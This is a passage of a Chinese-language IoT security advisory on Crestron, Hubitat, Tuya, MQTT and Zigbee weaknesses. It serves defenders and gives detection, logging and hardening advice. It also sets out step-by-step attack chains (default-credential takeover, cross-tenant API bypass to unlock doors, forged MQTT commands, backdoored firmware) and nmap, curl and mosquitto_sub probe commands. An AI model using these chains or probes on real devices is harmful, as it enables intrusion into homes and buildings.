→ 验证认证绕过和默认凭据
4. MQTT 安全审计
mqtt-pwn -c <broker_ip> -p 1883
→ 枚举 Topic 和 Client
→ 分析消息内容
→ 检查 ACL 配置
0x05 共性攻击模式分析
模式 1:默认凭据/硬编码密钥 → 设备完全控制
影响厂商:Crestron(admin/password)、Hubitat(Telnet 默认)、Sonoff/eWeLink(默认加密密钥)
攻击链:
1. 识别目标设备类型和型号
2. 查询厂商默认凭据列表
3. 尝试登录 Web 管理界面 / SSH / Telnet
4. 获取设备完全控制权
5. 修改系统配置、植入持久化后门
6. 横向移动到企业内网
防御建议:
- 首次使用强制修改默认密码
- 实施网络分段隔离 IoT 设备
- 定期审计设备凭据配置
模式 2:云 API 认证缺陷 → 大规模设备接管
影响厂商:Tuya(CVE-2020-16142)、多品牌白牌设备
攻击链:
1. 分析目标平台的云 API 架构
2. 识别 API Token 生成逻辑缺陷
3. 构造跨租户请求绕过认证
4. 枚举设备 ID 和绑定状态
5. 批量操控设备(解锁门锁、关闭安防)
6. 利用设备作为跳板攻击用户家庭网络
防御建议:
- 实施严格的 API Token 随机性
- 启用 API 请求速率限制
- 设备绑定状态变更需二次验证
模式 3:协议层缺陷(MQTT/Zigbee)→ 中间人攻击
影响厂商:所有使用 MQTT 的 IoT 平台、所有 Zigbee 设备
攻击链:
1. 接入目标 IoT 设备所在网络
2. 嗅探 MQTT 通信流量
3. 识别 Topic 命名规则和消息格式
4. 订阅所有设备 Topic 获取状态信息
5. 发布伪造的控制命令
6. 或利用 Zigbee 信号注入操控设备
防御建议:
- MQTT 强制 TLS 加密和认证
- 实施 Topic 级别的 ACL 控制
- Zigbee 网络启用 AES-128 加密和 Trust Center
模式 4:固件签名验证缺失 → 恶意固件植入
影响厂商:Tuya 兼容设备(BK7231/RTL8710)、Sonoff/eWeLink
攻击链:
1. 物理接触目标设备或通过网络获取固件
2. 逆向分析固件签名验证机制
3. 构建包含后门的恶意固件
4. 利用 OTA 协议或 UART 刷入固件
5. 设备重启后运行恶意代码
6. 攻击者获得持久化后门
防御建议:
- 固件更新必须验证数字签名
- 禁用生产固件中的调试接口
- 实施 Secure Boot 链式验证
模式 5:Web 管理界面漏洞 → 本地网络横向移动
影响厂商:Crestron(CVE-2022-23178)、Hubitat(CVE-2022-24870)
攻击链:
1. 扫描企业网络中的 IoT 设备 Web 界面
2. 利用认证绕过漏洞访问管理接口
3. 获取设备配置和网络信息
4. 提取内网其他系统的连接凭据
5. 以设备为跳板横向移动
6. 控制整个楼宇控制系统
防御建议:
- IoT 设备部署在独立的 VLAN 中
- Web 管理界面仅允许管理网络访问
- 部署 IoT 专用的入侵检测系统
0x06 应急排查与防守建议
紧急排查清单
| 检查项 | 命令/工具 | 预期结果 |
|---|
| Crestron 设备发现 | nmap -sV -p 80,443 <subnet> | 检查 HTTP Server Header 是否含 Crestron |
| Crestron 认证绕过 | curl -k https://<ip>/tsp/api/info | 返回 200 + JSON 设备信息 |
| Hubitat 设备发现 | nmap -sV -p 80,443 <subnet> | 检查是否运行 Hubitat 服务 |
| Hubitat API 访问 | curl http://<ip>/hub/api/devices | 返回设备列表 |
| Hubitat Telnet | nmap -sV -p 23 <subnet> | 检查 Telnet 服务是否开放 |
| MQTT Broker 发现 | nmap -sV -p 1883,8883 <subnet> | 发现 MQTT 服务 |
| MQTT 匿名测试 | mosquitto_sub -h <ip> -t '#' | 测试是否允许匿名订阅 |
| Tuya 设备发现 | nmap -sV -p 6668,6667 <subnet> | 检查 Tuya OTA 端口 |
| Zigbee 信号嗅探 | HackRF One + Ubertooth | 分析 Zigbee 空口通信 |
| IoT 设备清单 | 资产管理平台 | 确认所有已知 IoT 设备 |
日志关键字段表
| 平台 | 日志位置 | 关键字段 | 异常特征 |
|---|
| Crestron | 设备 Web UI → System Log | authentication_type, source_ip | 未知 IP 的登录尝试 |
| Hubitat | Settings → Logs | http_request, api_call | 未认证的 API 调用 |
| Hubitat | Hubitat Logs → Location Events | device_command, user | 异常设备命令序列 |
| Tuya Cloud | 开发者平台 → 日志中心 | api_request, device_id | 跨区域 API 请求 |
| MQTT Broker | Broker 日志 | client_id, topic, action | 大量 Topic 订阅 |
| 网络层 | 防火墙/IDS 日志 | dest_port:6668,1883,23 | IoT 设备异常端口通信 |
紧急缓解措施
发现 Crestron 设备存在认证绕过:
# 1. 立即隔离受影响设备
# 在交换机上将设备端口移到隔离 VLAN
switchport access vlan 999
# 2. 更新固件到最新版本
# 通过 Crestron Toolbox 工具更新
CToolbox.exe --update-firmware --target <device_ip>
# 3. 修改所有默认凭据
# 通过 Web UI 或 SSH 修改
ssh admin@<device_ip>
passwd
# 4. 启用 HTTPS 并禁用 HTTP
# 通过 Crestron 设备管理器配置
发现 Hubitat 设备存在安全风险:
# 1. 关闭 Telnet 服务
# 在 Hubitat Web UI → Settings → Shutdown Hubitat
# SSH 登录后编辑配置
# 2. 强制使用 HTTPS
# 在 Hubitat Web UI → Settings → Hubitat Security
# 启用 HTTPS
# 3. 重置所有 API Token
# 在 Hubitat Web UI → Settings → Hub Security
# 重新生成所有 Token
# 4. 审计已安装的 Groovy 应用
# 检查每个应用的代码,移除未授权的设备集成
发现 MQTT 安全问题:
# 1. 禁用 MQTT Broker 匿名连接
# mosquitto.conf:
allow_anonymous false
password_file /etc/mosquitto/passwd
# 2. 启用 TLS 加密
# mosquitto.conf:
listener 8883
cafile /etc/mosquitto/certs/ca.crt
certfile /etc/mosquitto/certs/server.crt
keyfile /etc/mosquitto/certs/server.key
# 3. 配置 Topic ACL
# /etc/mosquitto/acl:
pattern readwrite device/%u/#
长期安全加固建议
1. 网络架构层面
- 实施 IoT 设备网络分段,使用独立 VLAN 隔离智能家居/楼宇控制设备
- 配置防火墙规则,限制 IoT 设备仅能访问必要的云服务和管理端口
- 部署 IoT 专用的网络入侵检测系统(NIDS),监控异常流量
2. 设备管理层面
- 建立 IoT 设备资产清单,记录所有设备型号、固件版本和网络位置
- 实施固件版本管理,定期检查并更新设备固件
- 首次部署时强制修改所有默认凭据
- 禁用不需要的服务端口(Telnet、调试接口等)
3. 认证与授权层面
- 为所有 IoT 设备启用强认证机制(证书认证或 MFA)
- MQTT Broker 启用 TLS 加密和客户端证书认证
- 实施最小权限原则,设备仅能访问必要的 Topic 和 API 端点
- 定期轮换 API Token 和设备证书
4. 监控与响应层面
- 部署 SIEM 集成,将 IoT 设备日志纳入安全监控
- 配置告警规则,检测异常的设备控制命令和 API 调用
- 建立 IoT 安全事件响应流程
- 定期进行 IoT 设备安全渗透测试
0x07 参考资料
NVD - CVE-2022-23178:Crestron TSW 系列触摸屏认证绕过漏洞详情
NVD - CVE-2019-18135:Crestron AirMedia 未授权访问漏洞详情
NVD - CVE-2022-24870:Hubitat Elevation 认证绕过漏洞详情
NVD - CVE-2020-16142:Tuya 智能家居平台 API 安全漏洞
Crestron 官方安全公告:Crestron 产品安全更新与公告
Nozomi Networks - 智能家居安全研究:IoT 设备协议层安全分析
Claroty Team82 - IoT 漏洞研究:智能家居和楼宇控制平台安全分析
Tenable Research - Crestron 漏洞分析:Crestron AirMedia 安全研究报告
Tuya CloudCutter 项目:Tuya 设备固件签名绕过开源工具
Hubitat 社区安全讨论:Hubitat Elevation 安全公告和用户讨论
ProjectDiscovery Nuclei Templates:IoT 设备安全检测模板集
OWASP IoT Top 10:IoT 设备十大安全风险分类